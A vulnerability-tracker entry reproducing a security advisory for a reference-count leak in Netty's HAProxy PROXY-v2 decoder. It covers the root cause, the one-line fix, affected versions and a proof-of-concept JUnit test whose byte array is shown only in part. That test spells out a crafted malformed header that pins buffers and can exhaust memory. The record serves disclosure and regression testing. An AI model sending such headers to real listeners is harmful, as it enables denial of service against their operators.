Bug 2536953 (CVE-2026-93564) - CVE-2026-93564 io.netty/netty-codec-haproxy: Netty: HAProxy PROXY-v2 nested-TLV grandchild ByteBuf reference-count leak (incomplete fix of PR #16881)
Summary: CVE-2026-93564 io.netty/netty-codec-haproxy: Netty: HAProxy PROXY-v2 nested-T...
Keywords:
Status: NEW
Alias: CVE-2026-93564
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-09-18 10:00 UTC by OSIDB Bzimport
Modified: 2026-09-18 20:01 UTC (History)
66 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-09-18 10:00:10 UTC
HAProxy PROXY-v2 nested-TLV grandchild ByteBuf reference-count leak (incomplete fix of PR #16881)

A public GitHub Security Advisory (GHSA-j58c-g352-8h4p) describes the following issue:

## Summary
PR #16881 introduced `releaseDeep(...)` (recursive release of a TLV tree) and converted the flattened-list call sites to release nested `PP2_TYPE_SSL` TLVs correctly. However the inner `catch` inside `readNextTLV` (`HAProxyMessage.java:340`) still calls the **flatten-unaware** `releaseTlvs(encapsulatedTlvs)`. There, `encapsulatedTlvs` is a **non-flattened** list of a single SSL TLV's direct children, where a child may itself be an `HAProxySSLTLV` holding grandchildren. `releaseTlvs`' skip-counter (`HAProxyMessage.java:277`) is designed only for the flattened top-level list; on this tree-shaped list it treats a child SSL TLV's grandchild-count as a skip over the following *siblings* and never releases the grandchildren. When a later sibling TLV is malformed and the inner catch fires, the retained grandchild slice (e.g. an ALPN TLV under a nested SSL TLV) is leaked, keeping the underlying header `ByteBuf` retained.

## Reachability / trust boundary
Remote, unauthenticated: `HAProxyMessageDecoder` (a `ByteToMessageDecoder`) parses PROXY-protocol v2 header bytes from the peer/upstream at the pipeline edge. The decoder documents no trusted-input assumption. Reference-count leaks while parsing nested PP2 TLVs from attacker-supplied bytes are an accepted Netty vulnerability class with a direct High precedent (GHSA-h2qv-fj59-j46j).

## Impact
Each crafted header leaks the grandchild slice, pinning the underlying pooled buffer. Sustained malformed headers accumulate leaked/pinned memory → memory-exhaustion DoS.

**Honest caveat:** demonstrated impact is exactly one pinned buffer per crafted connection (refCnt 2 vs 1); the DoS is reached by repetition/flooding (no per-message amplification). PROXY-protocol listeners are conventionally fronted by trusted upstream infrastructure, which narrows the realistic attacker population — but Netty as a library makes no such trust assumption.

## Fix
One-line change on the error path: use the existing `releaseDeep(encapsulatedTlvs)` instead of `releaseTlvs(encapsulatedTlvs)` in the `readNextTLV` inner catch. It runs only on the exception path, releases each tree node exactly once (the list is only ever populated via `add`, never `addAll` of an SSL child's list, so it is strictly tree-shaped — no double-free), and cannot affect valid PROXY traffic.

## Proof of Concept
Minimal 52-byte PROXY-v2 header: signature + `ver/cmd=0x21` + `TCP4` + 12 address/port bytes, then an outer `PP2_TYPE_SSL` TLV containing client+verify and a **nested SSL child** holding a 1-byte ALPN grandchild, followed by a malformed sibling TLV that forces the inner catch. 

```java
/*
 * Copyright 2024 The Netty Project
 *
 * The Netty Project licenses this file to you under the Apache License,
 * version 2.0 (the "License"); you may not use this file except in compliance
 * with the License. You may obtain a copy of the License at:
 *
 *   https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations
 * under the License.
 */
package io.netty.handler.codec.haproxy;

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import org.junit.jupiter.api.Test;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;

/**
 * F001 - grandchild {@link ByteBuf} refCnt leak on the PROXY-v2 nested-SSL-TLV error path
 * (module codec-haproxy, {@code HAProxyMessage.readNextTLV}).
 *
 * <p>When {@code readNextTLV} parses an SSL TLV it collects its immediate children into a
 * NON-flattened list ({@code encapsulatedTlvs}). If a later sibling is malformed the inner
 * catch releases that list with {@code releaseTlvs}, whose skip-counter assumes a FLATTENED
 * list. A child that is itself an SSL TLV therefore has its grandchildren skipped and never
 * released, leaking the grandchild's retained slice of the shared header buffer.</p>
 *
 * <p>Oracle: after the error-path decode throws, {@code header.refCnt()} is {@code 2}
 * (grandchild slice still retained = leaked) on the vulnerable tree, and {@code 1} (grandchild
 * released) once the inner catch releases recursively.</p>
 */
public class HAProxyTLVGrandchildLeakF001Test {

    /**
     * A minimal (52-byte) PROXY-v2 header whose top-level SSL TLV encapsulates a child SSL TLV
     * (holding one ALPN grandchild) followed by a malformed sibling SSL TLV that forces the
     * error path. Every byte below is load-bearing; see the F001 evidence bundle.
     */
    private static byte[] malformedHeader() {
        return new byte[] {
            // -- 12-byte v2 signature (decodeHeader only skipBytes(12); contents unchecked) --
            0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A, 0x51, 0x55, 0x49, 0x54, 0x0A,
            0x21,             // verCmd: version 2, PROXY command
            0x11,             // protFam: AF_IPv4 + STREAM (TCP4)
            0x00, 0x0C,       // addressInfoLen = 12 (min for IPv4; does not bound the TLV region)
            0x00, 0x00, 0x00, 0x00,  // src addr 0.0.0.0
            0x00, 0x00, 0x00, 0x00,  // dst addr 0.0.0.0
            0x00, 0x00,       // src port
            0x00, 0x00,       // dst port
            // -- outer SSL TLV: type 0x20, len 21 --
            0x20, 0x00, 0x15,
            0x00,                     //   client
            0x00, 0x00, 0x00, 0x00,   //   verify
            // ---- child SSL TLV: type 0x20, len 9 (a grandchild-holder) ----
            0x20, 0x00, 0x09,
            0x00,                     //     client
            0x00, 0x00, 0x00, 0x00,   //     verify
            // ------ ALPN grandchild

[truncated]

Affected:
- maven:io.netty:netty-codec-haproxy affected <= 4.2.17.Final; fixed unknown
- maven:io.netty:netty-codec-haproxy affected <= 4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-j58c-g352-8h4p


Note You need to log in before you can comment on or make changes to this bug.